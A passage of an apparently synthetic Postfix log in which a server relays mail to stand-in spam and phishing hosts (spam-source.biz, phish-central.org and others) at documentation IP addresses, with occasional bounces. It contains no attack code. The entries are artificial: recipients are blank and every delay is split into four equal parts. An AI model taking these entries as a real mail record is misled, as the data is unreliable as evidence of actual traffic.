05 08:05:57 server postfix/smtp[29344]: 178323898B: to=, relay=none, delay=2.09, delays=0.5225/0.5225/0.5225/0.5225, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:05:59 server postfix/smtp[21211]: F26695E79F: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.42, delays=0.605/0.605/0.605/0.605, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E689B4) +Jul 05 08:05:59 server postfix/smtp[29966]: 4B977AAED9: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.04, delays=0.26/0.26/0.26/0.26, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 46A859) +Jul 05 08:06:00 server postfix/smtp[20909]: 99E502AF54: to=, relay=none, delay=0.69, delays=0.1725/0.1725/0.1725/0.1725, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:06:00 server postfix/smtp[29407]: 8FB2A2821F: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.03, delays=0.2575/0.2575/0.2575/0.2575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B3AA26) +Jul 05 08:06:00 server postfix/smtp[29960]: 952665DB0A: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.55, delays=0.6375/0.6375/0.6375/0.6375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3161E5) +Jul 05 08:06:01 server postfix/smtp[24905]: 9CE8941B6F: to=, relay=example.com[198.51.100.23]:25, delay=2.02, delays=0.505/0.505/0.505/0.505, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 686D57) +Jul 05 08:06:01 server postfix/smtp[28682]: C7B303F90E: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.7, delays=0.425/0.425/0.425/0.425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F9EBF4) +Jul 05 08:06:01 server postfix/smtp[29780]: B8554B0BA3: to=, relay=phish-central.org[198.51.100.23]:25, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4FB376) +Jul 05 08:06:02 server postfix/smtp[22087]: 92AF45EC90: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.58, delays=0.645/0.645/0.645/0.645, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B120E6) +Jul 05 08:06:02 server postfix/smtp[23260]: 4E604BB692: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.35, delays=0.5875/0.5875/0.5875/0.5875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3317F3) +Jul 05 08:06:02 server postfix/smtp[23469]: 747B5A0E4F: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.84, delays=0.71/0.71/0.71/0.71, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C4E2B0) +Jul 05 08:06:02 server postfix/smtp[28981]: E4CFAAD66E: to=, relay=none, delay=0.67, delays=0.1675/0.1675/0.1675/0.1675, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:03 server postfix/smtp[28564]: D2B640DAE5: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.81, delays=0.4525/0.4525/0.4525/0.4525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 55951E) +Jul 05 08:06:03 server postfix/smtp[29327]: 676EBA1235: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=0.69, delays=0.1725/0.1725/0.1725/0.1725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C75F1A) +Jul 05 08:06:04 server postfix/smtp[20807]: D04CC42432: to=, relay=none, delay=2.95, delays=0.7375/0.7375/0.7375/0.7375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:06:04 server postfix/smtp[23038]: 94F19B990C: to=, relay=example.com[203.0.113.111]:25, delay=2.84, delays=0.71/0.71/0.71/0.71, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E761ED) +Jul 05 08:06:05 server postfix/smtp[22709]: 277E1598F4: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.01, delays=0.2525/0.2525/0.2525/0.2525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A4F62E) +Jul 05 08:06:05 server postfix/smtp[22803]: 1925A9E553: to=, relay=none, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:06:05 server postfix/smtp[23772]: D870555C8C: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.52, delays=0.38/0.38/0.38/0.38, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D1A612) +Jul 05 08:06:06 server postfix/smtp[25587]: 3358469550: to=, relay=none, delay=2.38, delays=0.595/0.595/0.595/0.595, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:06:06 server postfix/smtp[25837]: 15C7306B76: to=, relay=example.com[198.51.100.23]:25, delay=1.53, delays=0.3825/0.3825/0.3825/0.3825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9483A2) +Jul 05 08:06:06 server postfix/smtp[29031]: 48358B5C67: to=, relay=example.com[192.0.2.15]:25, delay=2.42, delays=0.605/0.605/0.605/0.605, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 83FA77) +Jul 05 08:06:06 server postfix/smtp[29351]: 4F4617C867: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.71, delays=0.4275/0.4275/0.4275/0.4275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4BBB00) +Jul 05 08:06:07 server postfix/smtp[24090]: 27B5245813: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.64, delays=0.16/0.16/0.16/0.16, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E7D6AA) +Jul 05 08:06:07 server postfix/smtp[24463]: 47C3C6EE88: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.41, delays=0.6025/0.6025/0.6025/0.6025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CAA256) +Jul 05 08:06:07 server postfix/smtp[26759]: A63AB47870: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.66, delays=0.415/0.415/0.415/0.415, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AB01E1) +Jul 05 08:06:08 server postfix/smtp[23952]: BAEF7D2820: to=, relay=none, delay=1.38, delays=0.345/0.345/0.345/0.345, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:09 server postfix/smtp[26011]: 9D33390ABF: to=, relay=none, delay=2.5, delays=0.625/0.625/0.625/0.625, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:09 server postfix/smtp[29893]: ABBCC431A9: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.77, delays=0.6925/0.6925/0.6925/0.6925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 04B8C3) +Jul 05 08:06:10 server postfix/smtp[27369]: 10BCCF9F1A: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.9, delays=0.725/0.725/0.725/0.725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0DA9ED) +Jul 05 08:06:11 server postfix/smtp[25946]: 19D70D08B6: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.02, delays=0.255/0.255/0.255/0.255, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as ED2D0C) +Jul 05 08:06:12 server postfix/smtp[25152]: A219E77DA6: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.12, delays=0.53/0.53/0.53/0.53, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 442A77) +Jul 05 08:06:12 server postfix/smtp[27833]: 0CD69975DF: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.7, delays=0.175/0.175/0.175/0.175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BFC0CA) +Jul 05 08:06:13 server postfix/smtp[21609]: A4A4C91219: to=, relay=example.com[203.0.113.88]:25, delay=0.51, delays=0.1275/0.1275/0.1275/0.1275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 330C8C) +Jul 05 08:06:13 server postfix/smtp[23142]: EB696A61AE: to=, relay=none, delay=0.51, delays=0.1275/0.1275/0.1275/0.1275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:13 server postfix/smtp[23813]: B6682375D8: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.61, delays=0.1525/0.1525/0.1525/0.1525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 136737) +Jul 05 08:06:13 server postfix/smtp[27260]: A92BA30FA0: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7AA07B) +Jul 05 08:06:13 server postfix/smtp[27535]: 3CC8E83647: to=, relay=example.com[192.0.2.15]:25, delay=1.71, delays=0.4275/0.4275/0.4275/0.4275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B80CA3) +Jul 05 08:06:13 server postfix/smtp[29488]: F5016D0D03: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 794DD8) +Jul 05 08:06:14 server postfix/smtp[25769]: 7B730517AA: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.25, delays=0.3125/0.3125/0.3125/0.3125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8D0653) +Jul 05 08:06:15 server CRON[14525]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 08:06:15 server postfix/smtp[22577]: 2586278912: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.41, delays=0.3525/0.3525/0.3525/0.3525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EB9020) +Jul 05 08:06:15 server postfix/smtp[25258]: 42C2699496: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.35, delays=0.5875/0.5875/0.5875/0.5875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2EDEA6) +Jul 05 08:06:15 server postfix/smtp[26803]: D6491FE0FA: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.42, delays=0.605/0.605/0.605/0.605, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A5E9BD) +Jul 05 08:06:15 server systemd[1]: Starting daily clean up activities... +Jul 05 08:06:16 server postfix/smtp[20637]: 695110CB61: to=, relay=example.com[203.0.113.111]:25, delay=2.63, delays=0.6575/0.6575/0.6575/0.6575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3E7178) +Jul 05 08:06:16 server postfix/smtp[25487]: A151FA1815: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.9, delays=0.725/0.725/0.725/0.725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5997BB) +Jul 05 08:06:16 server postfix/smtp[27450]: 549205F685: to=, relay=none, delay=2.03, delays=0.5075/0.5075/0.5075/0.5075, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:16 server postfix/smtp[27921]: F6FD832AD0: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.67, delays=0.4175/0.4175/0.4175/0.4175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6E5DC8) +Jul 05 08:06:17 server postfix/smtp[20956]: 3CC7D3C31B: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.13, delays=0.5325/0.5325/0.5325/0.5325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6B6E30) +Jul 05 08:06:19 server postfix/smtp[28465]: 99774D25F3: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.34, delays=0.335/0.335/0.335/0.335, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F79EF9) +Jul 05 08:06:20 server postfix/smtp[20221]: 7CF19133A5: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.59, delays=0.1475/0.1475/0.1475/0.1475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 996A2F) +Jul 05 08:06:20 server postfix/smtp[25475]: 5A122E49B4: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.39, delays=0.3475/0.3475/0.3475/0.3475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 66435D) +Jul 05 08:06:20 server postfix/smtp[26030]: 0E815FD064: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.74, delays=0.435/0.435/0.435/0.435, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 28E17F) +Jul 05 08:06:21 server postfix/smtp[23619]: 9AB7208014: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.04, delays=0.26/0.26/0.26/0.26, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4EDC11) +Jul 05 08:06:21 server postfix/smtp[28488]: 0B1107785C: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.73, delays=0.1825/0.1825/0.1825/0.1825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 174726) +Jul 05 08:06:22 server postfix/smtp[21942]: 792D91ACA4: to=, relay=example.com[192.0.2.15]:25, delay=2.19, delays=0.5475/0.5475/0.5475/0.5475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4D775B) +Jul 05 08:06:22 server postfix/smtp[22786]: B3BDA4F35D: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.04, delays=0.51/0.51/0.51/0.51, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 57904B) +Jul 05 08:06:22 server postfix/smtp[25231]: E31AF45874: to=, relay=none, delay=1.94, delays=0.485/0.485/0.485/0.485, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:23 server postfix/smtp[20656]: 5C5C6719A6: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.44, delays=0.36/0.36/0.36/0.36, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 897D05) +Jul 05 08:06:23 server postfix/smtp[21797]: 82DF9FC1B7: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.48, delays=0.62/0.62/0.62/0.62, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3B64C2) +Jul 05 08:06:23 server postfix/smtp[24439]: 9E29A97836: to=, relay=example.com[203.0.113.111]:25, delay=2.96, delays=0.74/0.74/0.74/0.74, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 74A98A) +Jul 05 08:06:23 server postfix/smtp[24823]: D3425C8E57: to=, relay=none, delay=0.96, delays=0.24/0.24/0.24/0.24, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:24 server postfix/smtp[24595]: A3C7292AD1: to=, relay=none, delay=1.74, delays=0.435/0.435/0.435/0.435, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:06:25 server postfix/smtp[21041]: 73C8431029: to=, relay=example.com[203.0.113.111]:25, delay=1.89, delays=0.4725/0.4725/0.4725/0.4725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3FF7ED) +Jul 05 08:06:25 server postfix/smtp[21538]: 028B8CD822: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.28, delays=0.57/0.57/0.57/0.57, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 003DAE) +Jul 05 08:06:25 server postfix/smtp[21618]: 12C705A9AC: to=, relay=none, delay=0.95, delays=0.2375/0.2375/0.2375/0.2375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:25 server postfix/smtp[26677]: BC0382F6F7: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.63, delays=0.4075/0.4075/0.4075/0.4075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A85D7E) +Jul 05 08:06:25 server postfix/smtp[27299]: 1E81E33D09: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.4, delays=0.35/0.35/0.35/0.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 50D364) +Jul 05 08:06:25 server postfix/smtp[27498]: 19F1ED6BF0: to=, relay=none, delay=0.9, delays=0.225/0.225/0.225/0.225, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:26 server postfix/smtp[23123]: A4A2801738: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.7, delays=0.425/0.425/0.425/0.425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FAE54A) +Jul 05 08:06:27 server postfix/smtp[20937]: 118830DAB0: to=, relay=none, delay=2.51, delays=0.6275/0.6275/0.6275/0.6275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:06:27 server postfix/smtp[25686]: 56C2F72259: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=0.54, delays=0.135/0.135/0.135/0.135, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 55D633) +Jul 05 08:06:27 server postfix/smtp[25979]: 012217807B: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A37AAE) +Jul 05 08:06:28 server postfix/smtp[25374]: B866B2150B: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.83, delays=0.7075/0.7075/0.7075/0.7075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 533879) +Jul 05 08:06:29 server postfix/smtp[25284]: BF0699FFDA: to=, relay=none, delay=2.19, delays=0.5475/0.5475/0.5475/0.5475, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:30 server postfix/smtp[23477]: F60DCEAC78: to=, relay=example.com[198.51.100.23]:25, delay=2.63, delays=0.6575/0.6575/0.6575/0.6575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 54FA2C) +Jul 05 08:06:31 server postfix/smtp[22540]: 8FEF969B51: to=, relay=example.com[192.0.2.15]:25, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AA495A) +Jul 05 08:06:31 server postfix/smtp[27821]: F520EE9ED3: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=0.97, delays=0.2425/0.2425/0.2425/0.2425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8BC555) +Jul 05 08:06:31 server postfix/smtp[29450]: FF8A262488: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.56, delays=0.39/0.39/0.39/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DFCF34) +Jul 05 08:06:32 server postfix/smtp[20753]: 23DD2A2059: to=, relay=example.com[203.0.113.88]:25, delay=1.45, delays=0.3625/0.3625/0.3625/0.3625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EEEE27) +Jul 05 08:06:32 server postfix/smtp[24187]: 18D0E52625: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.58, delays=0.645/0.645/0.645/0.645, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F759B5) +Jul 05 08:06:32 server postfix/smtp[27619]: 3D20FFA043: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.05, delays=0.5125/0.5125/0.5125/0.5125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7C98A6) +Jul 05 08:06:33 server postfix/smtp[23677]: 999AB38E67: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.35, delays=0.5875/0.5875/0.5875/0.5875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E4CBAF) +Jul 05 08:06:33 server postfix/smtp[25472]: B69F60FB47: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.52, delays=0.38/0.38/0.38/0.38, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6E849) +Jul 05 08:06:33 server postfix/smtp[26875]: 99EB1C2665: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.24, delays=0.31/0.31/0.31/0.31, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 297D58) +Jul 05 08:06:33 server postfix/smtp[29095]: 40ECBE7B4D: to=, relay=example.com[203.0.113.111]:25, delay=0.71, delays=0.1775/0.1775/0.1775/0.1775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 37ABC4) +Jul 05 08:06:34 server postfix/smtp[26938]: E70042B118: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.62, delays=0.405/0.405/0.405/0.405, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1E4276) +Jul 05 08:06:34 server postfix/smtp[27072]: 4083CA9704: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5F8382) +Jul 05 08:06:35 server postfix/smtp[22358]: 0FCB948200: to=, relay=none, delay=1.92, delays=0.48/0.48/0.48/0.48, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:35 server postfix/smtp[24136]: D4B484835F: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 37D841) +Jul 05 08:06:35 server postfix/smtp[27709]: 070763FF61: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.99, delays=0.4975/0.4975/0.4975/0.4975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B5666C) +Jul 05 08:06:36 server postfix/smtp[26406]: BABD06250D: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.49, delays=0.3725/0.3725/0.3725/0.3725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 710267) +Jul 05 08:06:36 server postfix/smtp[27708]: 80BDDC5863: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.82, delays=0.705/0.705/0.705/0.705, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 628D08) +Jul 05 08:06:36 server postfix/smtp[29700]: D5B5D5E8A7: to=, relay=phish-central.org[203.0.113.88]:25, delay=0.71, delays=0.1775/0.1775/0.1775/0.1775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6E0FF8) +Jul 05 08:06:37 server postfix/smtp[20026]: 402A5EE5C9: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.86, delays=0.465/0.465/0.465/0.465, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 777EBD) +Jul 05 08:06:37 server postfix/smtp[20319]: D95111C2F6: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.83, delays=0.2075/0.2075/0.2075/0.2075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1D905E) +Jul 05 08:06:37 server postfix/smtp[21335]: 0F63E652BC: to=, relay=example.com[203.0.113.111]:25, delay=2.66, delays=0.665/0.665/0.665/0.665, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 21FDF1) +Jul 05 08:06:37 server postfix/smtp[29740]: C5450D104D: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.54, delays=0.135/0.135/0.135/0.135, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3077BF) +Jul 05 08:06:38 server postfix/smtp[24495]: 4AFAF4780D: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.74, delays=0.185/0.185/0.185/0.185, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0A5925) +Jul 05 08:06:39 server postfix/smtp[21848]: C6AD01BFEF: to=, relay=example.com[192.0.2.15]:25, delay=0.73, delays=0.1825/0.1825/0.1825/0.1825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 43BEBB) +Jul 05 08:06:39 server postfix/smtp[26183]: FCD3DFF85C: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6AB9A2) +Jul 05 08:06:39 server postfix/smtp[26987]: 2F8A6FE2DA: to=, relay=phish-central.org[203.0.113.88]:25, delay=0.89, delays=0.2225/0.2225/0.2225/0.2225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EC53EF) +Jul 05 08:06:39 server postfix/smtp[29552]: BAE753B96B: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=0.97, delays=0.2425/0.2425/0.2425/0.2425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E7A766) +Jul 05 08:06:40 server postfix/smtp[21039]: AEB8F7FF79: to=, relay=example.com[203.0.113.88]:25, delay=1.42, delays=0.355/0.355/0.355/0.355, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 25F03E) +Jul 05 08:06:40 server postfix/smtp[21635]: 118DD8AE88: to=, relay=example.com[203.0.113.111]:25, delay=1.94, delays=0.485/0.485/0.485/0.485, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B7F74C) +Jul 05 08:06:40 server postfix/smtp[23498]: 04F40C7963: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.33, delays=0.5825/0.5825/0.5825/0.5825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7C9A6E) +Jul 05 08:06:40 server postfix/smtp[24001]: 2391BC79A5: to=, relay=none, delay=1.87, delays=0.4675/0.4675/0.4675/0.4675, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:41 server postfix/smtp[26549]: C1C72503E9: to=, relay=example.com[192.0.2.15]:25, delay=0.9, delays=0.225/0.225/0.225/0.225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 236B47) +Jul 05 08:06:41 server postfix/smtp[28213]: C6C1017849: to=, relay=none, delay=1.84, delays=0.46/0.46/0.46/0.46, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:06:42 server postfix/smtp[27813]: 2A9360B709: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.88, delays=0.47/0.47/0.47/0.47, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0A46F7) +Jul 05 08:06:42 server postfix/smtp[29769]: 298467F607: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.46, delays=0.615/0.615/0.615/0.615, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C15E31) +Jul 05 08:06:43 server postfix/smtp[21312]: 5655BC9FC5: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.35, delays=0.3375/0.3375/0.3375/0.3375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 508BD1) +Jul 05 08:06:43 server postfix/smtp[28163]: 69F39057C9: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.28, delays=0.57/0.57/0.57/0.57, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5EE09B) +Jul 05 08:06:43 server postfix/smtp[28481]: 9A8A29220F: to=, relay=none, delay=1.9, delays=0.475/0.475/0.475/0.475, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:44 server postfix/smtp[22784]: FDE0B55C18: to=, relay=phish-central.org[198.51.100.23]:25, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6C9F3E) +Jul 05 08:06:44 server postfix/smtp[23889]: F51E390FE1: to=, relay=spam-source.biz[203.0.113.111]:25, delay=0.5, delays=0.125/0.125/0.125/0.125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 31E8E1) +Jul 05 08:06:44 server postfix/smtp[29251]: 83889E31EA: to=, relay=example.com[203.0.113.88]:25, delay=1.42, delays=0.355/0.355/0.355/0.355, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 734FFE) +Jul 05 08:06:45 server postfix/smtp[20249]: 42A9B587CD: to=, relay=example.com[192.0.2.15]:25, delay=2.86, delays=0.715/0.715/0.715/0.715, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 053947) +Jul 05 08:06:45 server postfix/smtp[20806]: 91B5C4D058: to=, relay=example.com[203.0.113.88]:25, delay=2.22, delays=0.555/0.555/0.555/0.555, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 36C9A3) +Jul 05 08:06:46 server postfix/smtp[24883]: CA5DAE6EB5: to=, relay=example.com[192.0.2.15]:25, delay=2.15, delays=0.5375/0.5375/0.5375/0.5375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F33E7F) +Jul 05 08:06:46 server postfix/smtp[29211]: 5EE9BCAC98: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6C695A) +Jul 05 08:06:47 server postfix/smtp[24938]: 4927055BE9: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.89, delays=0.4725/0.4725/0.4725/0.4725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B5D771) +Jul 05 08:06:47 server postfix/smtp[26524]: 14BC5CE42B: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.9, delays=0.225/0.225/0.225/0.225, 